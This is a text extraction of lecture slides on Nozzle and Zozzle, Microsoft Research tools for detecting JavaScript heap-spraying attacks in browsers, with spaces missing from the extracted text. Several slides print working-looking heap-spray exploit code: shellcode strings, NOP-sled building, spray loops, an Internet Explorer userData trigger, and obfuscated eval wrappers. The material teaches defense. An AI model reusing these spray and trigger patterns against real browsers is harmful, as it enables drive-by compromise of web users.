program analysis for security, осень 2010: nozzle

36
Finding Malware on a Web Scale Ben Livshits Microsoft Research Redmond, WA

Upload: cs-center

Post on 15-Apr-2017

10.614 views

Category:

Documents


416 download

TRANSCRIPT

Page 1: Program Analysis for Security, осень 2010: Nozzle

FindingMalwareonaWebScale

BenLivshitsMicrosoftResearch

Redmond,WA

Page 2: Program Analysis for Security, осень 2010: Nozzle

BriefHistoryofMemory-BasedExploits

2

1995

Stack-basedbuffe

roverruns

2002

Heap-basedbuffero

verruns

2005

Heapsprays

Page 3: Program Analysis for Security, осень 2010: Nozzle

HeapSpraying

3

Firefox3.5July14,2009

http://www.web2secure.com/2009/07/mozilla-firefox-35-heap-spray.html

Page 4: Program Analysis for Security, осень 2010: Nozzle

<html><body><button id=’butid’ onclick=’trigger();’ style=’display:none’/><script>

//Shellcodevar shellcode=unescape(‘%u9090%u9090%u9090%u9090%uceba%u11fa%u291f%ub1c9%udb33%ud9ce%u2474%u5ef4%u5631%u030e%u0e56%u0883%uf3fe%u68ea%u7a17%u9014%u1dbigblock=unescape(“%u0D0D%u0D0D”);headersize=20;shellcodesize=headersize+shellcode.length;while(bigblock.length<shellcodesize){bigblock+=bigblock;}heapshell=bigblock.substring(0,shellcodesize);nopsled=bigblock.substring(0,bigblock.length-shellcodesize);while(nopsled.length+shellcodesize<0×25000){nopsled=nopsled+nopsled+heapshell}

//Sprayvar spray=new Array();for(i=0;i<500;i++){spray[i]=nopsled+shellcode;}

//Triggerfunction trigger(){var varbdy = document.createElement(‘body’);varbdy.addBehavior(‘#default#userData’);document.appendChild(varbdy);try {for (iter=0; iter<10; iter++) {varbdy.setAttribute(‘s’,window);

}} catch(e){ }window.status+=”;

}document.getElementById(‘butid’).onclick();

</script></body></html> 4

var shellcode=unescape(‘%u9090%u9090%u9090%u9090%uceba%u11fa%u291f%ub1c9%udb33%ud9ce%u2474%u5ef4%u5631%u030e%u0e56%u0883%uf3fe%u68ea%u7a17%u9014%u1d

Page 5: Program Analysis for Security, осень 2010: Nozzle

HistoricalDigression

5

Page 6: Program Analysis for Security, осень 2010: Nozzle

ResearchtoReality in15ShortMonths

6

Отидеидопродукта

May2009– October2010

Page 7: Program Analysis for Security, осень 2010: Nozzle

7April2009– October2010

Page 8: Program Analysis for Security, осень 2010: Nozzle

• Targetswebusersthroughthebrowser

• Focusonprevention

• Wantedittoruninthebrowser

8

HeapSprays

May2009

Page 9: Program Analysis for Security, осень 2010: Nozzle

• Falsepositives

• Falsenegatives

• Performanceoverhead

9

Challenges

June2009

Page 10: Program Analysis for Security, осень 2010: Nozzle

• Combinationofruntimeandstaticanalysis

• Lowfalsepositives

• Lowfalsenegatives

• 5-15%overhead

• PaperinUsenixSec ‘09

10

NozzleAugust-- March2009

Page 11: Program Analysis for Security, осень 2010: Nozzle

• Browserlandscapeisverycompetitiveperformance-wise

11

5-15%istoohighApril2009

Page 12: Program Analysis for Security, осень 2010: Nozzle

• HelpfromBing

• Findsmalwareontheweb

• CanscanalargenumberofURLs

12

OfflineScanning

January2010

Page 13: Program Analysis for Security, осень 2010: Nozzle

13

October2010

Page 14: Program Analysis for Security, осень 2010: Nozzle

EndofHistoricalDigression

14

Page 15: Program Analysis for Security, осень 2010: Nozzle

Drive-ByHeapSpraying

15

0wned!

Page 16: Program Analysis for Security, осень 2010: Nozzle

16

<HTML>

<SCRIPT language="text/javascript">shellcode = unescape("%u4343%u4343%...'');

</SCRIPT>

<IFRAME SRC=file://BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB … NAME="CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC …&#3341;&#3341;"></IFRAME>

</HTML>

okbad

okCreatesthe

maliciousobject

Triggersthejump

ProgramHeapASLRpreventsthe

attack

PC

Drive-ByHeapSpraying(2)

Page 17: Program Analysis for Security, осень 2010: Nozzle

17

<SCRIPT language="text/javascript">shellcode = unescape("%u4343%u4343%...'');oneblock = unescape("%u0C0C%u0C0C");var fullblock = oneblock;while (fullblock.length<0x40000) {

fullblock += fullblock;}

sprayContainer = new Array();for (i=0; i<1000; i++) {

sprayContainer[i] = fullblock + shellcode;}

</SCRIPT>

ok

bad

ok

ProgramHeap

bad

bad

bad

bad

bad

Allocate1,000sofmaliciousobjects

Drive-ByHeapSpraying(3)

Page 18: Program Analysis for Security, осень 2010: Nozzle

Nozzle:RuntimeHeapSprayingDetection

18

Normalizedattacksurface(NAS)

good

bad

Page 19: Program Analysis for Security, осень 2010: Nozzle

LocalMaliciousObjectDetection

CodeorData?• Isthisobjectcode?

– Codeanddatalookthesameonx86• Focusonsleddetection

– Majorityofobjectissled– Sprayingscriptsbuild simplesleds

• IsthiscodeaNOPsled?– Previous techniquesdonot lookatheap– Manyheapobjectslook likeNOPsleds– 80%falsepositive ratesusingprevious

techniques

• Needstrongerlocaltechniques

Isthisobjectdangerous?

1919

000000000000000000000000000000000000000000000000000000000000000000000000000000000000

add [eax], aladd [eax], aladd [eax], aladd [eax], aladd [eax], aladd [eax], aladd [eax], al

0101010101010101010101010101010101010101010101010101010101010101010101

and ah, [edx]and ah, [edx]and ah, [edx]and ah, [edx]and ah, [edx]and ah, [edx]and ah, [edx]

NOPsled

shellcode

Page 20: Program Analysis for Security, осень 2010: Nozzle

ObjectSurfaceAreaCalculation(1)• Assume:attackerwantsto

reachshellcodefromjumptoanypointinobject

• Goal:findblocksthatarelikelytobereachedviacontrolflow

• Strategy:usedataflowanalysistocompute“surfacearea”ofeachblock

2020

Anexampleobjectfromvisitinggoogle.com

Page 21: Program Analysis for Security, осень 2010: Nozzle

ObjectSurfaceAreaCalculation(2)• Eachblockstartswithitsown

sizeasweight

• Weightsarepropagatedforwardwithflow

• Invalidblocksdon’tpropagate

• Iterateuntilafixpoint isreached

• Computeblockwithhighestweight

2121

Anexampleobjectfromvisitinggoogle.com

4

2

4

2

2

310

14

4

12

6

912

14

12

12

12

15

Page 22: Program Analysis for Security, осень 2010: Nozzle

NozzleGlobalHeapMetric

22

obj

Bi

SA(Bi)SA(o)

SA(H)

NSA(H)

buildCFG

dataflow

ineax,0x11

arithmatic

memory

I/Oorsyscall

controlflow

sub[eax],eax

adcdh,bh

jecxz021c7fd8

testcl,ah

addal,30h

addal,80h

oreax,0d172004h

outsdx,[esi]

jecxz021c7fde

add[ecx],0

add[eax],al

xor[eax],eax

addal,38h

imuleax,[eax],6ch

oreax,0d179004h

Tota

rgetblock

Legend:

ComputethreatofsingleblockComputethreatof

singleobject

Computethreatofentireheap

Normalizeto(approx):P(jumpwillcauseexploit)

Page 23: Program Analysis for Security, осень 2010: Nozzle

NozzleExperimentalSummary

23

0FalsePositives• 10popularAJAX-heavysites• 150topWebsites

0FalseNegatives• 12publishedheapsprayingexploitsand• 2,000syntheticroguepagesgeneratedusingMetasploit

RuntimeOverhead• Ashighas2xwithoutsampling• 5-10%withsampling

Page 24: Program Analysis for Security, осень 2010: Nozzle

NozzleRuntimeOverhead

2424

Page 25: Program Analysis for Security, осень 2010: Nozzle

2525

10%overhead

Page 26: Program Analysis for Security, осень 2010: Nozzle

2626

Whatdowedowithallthisdata?

Page 27: Program Analysis for Security, осень 2010: Nozzle

OlOlll="(x)";OllOlO=" String";OlllOO="tion";OlOllO="Code(x)}";OllOOO="Char";OlllOl="func";OllllO=" l = ";OllOOl=".from";OllOll="{return";Olllll="var";eval(Olllll+OllllO+OlllOl+OlllOO+OlOlll+OllOll+OllOlO+OllOOl+OllOOO+OlOllO);

Obfuscationvar l = function(x) {

return String.fromCharCode(x);

}

shellcode = unescape("%u54EB%u758B…");

var bigblock = unescape("%u0c0c%u0c0c");

while(bigblock.length<slackspace) {bigblock += bigblock;

}

block = bigblock.substring(0,

bigblock.length-slackspace);

while(block.length+slackspace<0x40000) {block = block + block + fillblock;

}

memory = new Array(); for(x=0; x<300; x++) {

memory[x] = block + shellcode;

…27

var O = function(m){return String.fromCharCode(Math.floor(m / 10000) / 2);

}

eval(l(79)+l(61)+l(102)+l(117)+l(110)+l(99)+l(116)+l(105)+l(111)+l(110)+l(40)+l(109)+l(41)+l(123)+l(114)+l(101)+l(116)+l(117)+l(114)+l(110)+l(32)+l(83)+l(116)+l(114)+l(105)+l(110)+l(103)+l(46)+l(102)+l(114)+l(111)+l(109)+l(67)+l(104)+l(97)+l(114)+l(67)+l(111)+l(100)+l(101)+l(40)+l(77)+l(97)+l(116)+l(104)+l(46)+l(102)+l(108)+l(111)+l(111)+l(114)+l(40)+l(109)+l(47)+l(49)+l(48)+l(48)+l(48)+l(48)+l(41)+l(47)+l(50)+l(41)+l(59)+l(125));

eval(""+O(2369522)+O(1949494)+O(2288625)+O(648464)+O(2304124)+O(2080995)+O(2020710)+O(2164958)+O(2168902)+O(1986377)+O(2227903)+O(2005851)+O(2021303)+O(646435)+O(1228455)+O(644519)+O(2346826)+O(2207788)+O(2023127)+O(2306806)+O(1983560)+O(1949296)+O(2245968)+O(2028685)+O(809214)+O(680960)+O(747602)+O(2346412)+O(1060647)+O(1045327)+O(1381007)+O(1329180)+O(745897)+O(2341404)+O(1109791)+O(1064283)+O(1128719)+O(1321055)+O(748985)+...);

Page 28: Program Analysis for Security, осень 2010: Nozzle

28

DriveByDetection• Visitapageandletitrun• Watchfornewprocesses• Handleinfection– DetectinaVM– Runantivirus

Nozzle• Observethepageasitruns• Watchforaheapspray• Killthescriptbeforethevulnerability istriggered

Zozzle• Examinethecodebeforeitruns• Whensuspectcodeisfound– Terminatethepage

OR– Enableotherdetectionmechanisms

var shevar sprayfor(i=0; memory[

document.

Page 29: Program Analysis for Security, осень 2010: Nozzle

29

DetectionTechniques

DriveByDetection Nozzle Zozzle

Certainty

Performance

TimelinessofDetection

HitRate

Page 30: Program Analysis for Security, осень 2010: Nozzle

CanWeDetectAttacksStatically?

30

Mostattackslooklikethis29,7%

29,7%

9,7%

7,7%

3,9%

3,2%

2,6%

1,9%

1,9%

1,9%

1,9%

1,3%

1,3%

1,3%

0,6%

0,6%

0,6%

0%

5%

10%

15%

20%

25%

30%

35%

MAL00

3

MAL00

4

MAL03

6

MAL03

3

MAL03

5

MAL03

2

MAL03

9

MAL00

1

MAL00

6

MAL03

1

MAL03

4

MAL01

1

MAL03

7

MAL04

0

MAL00

5

MAL00

9

MAL03

8

Wedon’tfindmanynewattacks

0

2

4

6

8

10

12

14

16

18

0 20 40 60 80 100 120 140

Unique

ExploitsDisc

overed

MaliciousURLsExamined

Page 31: Program Analysis for Security, осень 2010: Nozzle

Deobfuscation

31

eval(""+O(2369522)+O(1949494)+O(2288625)+O(648464)+O(2304124)+O(2080995)+O(2020710)+O(2164958)+O(2168902)+O(1986377)+O(2227903)+O(2005851)+O(2021303)+O(646435)+O(1228455)+O(644519)+O(2346826)+O(2207788)+O(2023127)+O(2306806)+O(1983560)+O(1949296)+O(2245968)+O(2028685)+O(809214)+O(680960)+O(747602)+O(2346412)+O(1060647)+O(1045327)+O(1381007)+O(1329180)+O(745897)+O(2341404)+O(1109791)+O(1064283)+O(1128719)+O(1321055)+O(748985)+...);

JavaScriptRuntime

Deobfuscator

shellcode = unescape("%u54EB%u758B…"); var bigblock = unescape("%u0c0c%u0c0c");while(bigblock.length<slackspace) {bigblock += bigblock;

}block = bigblock.substring(0,bigblock.length-slackspace);

while(block.length+slackspace<0x40000) {block = block + block + fillblock;

}memory = new Array();

HierarchicalFeatureExtraction

function

loop

shellcode

=

string

%u0c0c%u0909… memory

=

block

function:shellcode

string:%u0c0c%u0909…

loop:memory

loop:block

NaïveBayesClassification

* P(malicious)

Feature P(malicious)string:0c0c 0.99function:shellcode 0.99loop:memory 0.87abcabcabcabcabc 0.80try:activex 0.41if:msie 7 0.33abcabcabcabcabcabc 0.21function:unescape 0.45abcabcabcabcabcabc 0.55loop:nop 0.95

Page 32: Program Analysis for Security, осень 2010: Nozzle

TheZozzleEcosystem

3232

ServerSide(Microsoft) BrowserSide

Classifier Classifier

Classifier

Classifier

Page 33: Program Analysis for Security, осень 2010: Nozzle

FeatureSelection

FalsePositives

0%

5%

10%

15%

20%

25%

0% 5% 10% 15%

ClassifierFalse

PositiveRate

TrainingSetSize

Hand-Picked Automatic

FalseNegatives

0%

5%

10%

15%

20%

25%

0% 5% 10% 15%

ClassifierFalse

NegativeRa

te

TrainingSetSize

Hand-Picked Automatic

33

Page 34: Program Analysis for Security, осень 2010: Nozzle

ComparisonofDetectionMethods

34

Page 35: Program Analysis for Security, осень 2010: Nozzle

shellcode = unescape("%u9090%u9090%u54EB%u758B%u8B3C%u3574%u0378%u56F5%u768B%u0320%u33F5%u49C9…");

var memory = []; var spraySize = "548864" - shellcode.length * "2"; var nop = unescape("%u0c0c%u0c0c"); while (nop.length < spraySize / "2") {

nop += nop; } var nops = nop.substring("0", spraySize / "2"); delete nop; for(i = "0"; i < "270"; i++)

{ memory[i] = nops + nops + shellcode;

} function payload() {

var body = document.createElement("BODY"); body.addBehavior("#default#userData"); document.appendChild(body); try {

for(i = "0"; i < "10"; i++) {

body.setAttribute("s", window); }

}

catch(e) { } window.status += "";

}

document.getElementById("bo").onclick();

shellcode = unescape("%u9090%u9090%u54EB%u758B%u8B3C%u3574%u0378%u56F5%u768B%u0320%u33F5%u49C9…");

var memory = []; var spraySize = "548864" - shellcode.length * "2"; var nop = unescape("%u0c0c%u0c0c"); while (nop.length < spraySize / "2") {

nop += nop; } var nops = nop.substring("0", spraySize / "2"); delete nop; for(i = "0"; i < "270"; i++)

{ memory[i] = nops + nops + shellcode;

} function payload() {

var body = document.createElement("BODY"); body.addBehavior("#default#userData"); document.appendChild(body); try {

for(i = "0"; i < "10"; i++) {

body.setAttribute("s", window); }

}

catch(e) { } window.status += "";

}

document.getElementById("bo").onclick();

35

Zozzlecanautomaticallyidentifycomponentsofan

attack.

Shellcode

Spray

Vulnerability

Page 36: Program Analysis for Security, осень 2010: Nozzle

Summary

Heapsprayingattacksare

• Easytoimplement, easytoretarget• Inwidespreaduse

Nozzle

• Effectivelydetects publishedattacks(knownandnew)• Hasacceptable runtimeoverhead• Canbeusedbothonlineandoffline

Zozzle isastaticdetectionsolution

• Fastandscalable• Accurateandpowerful

36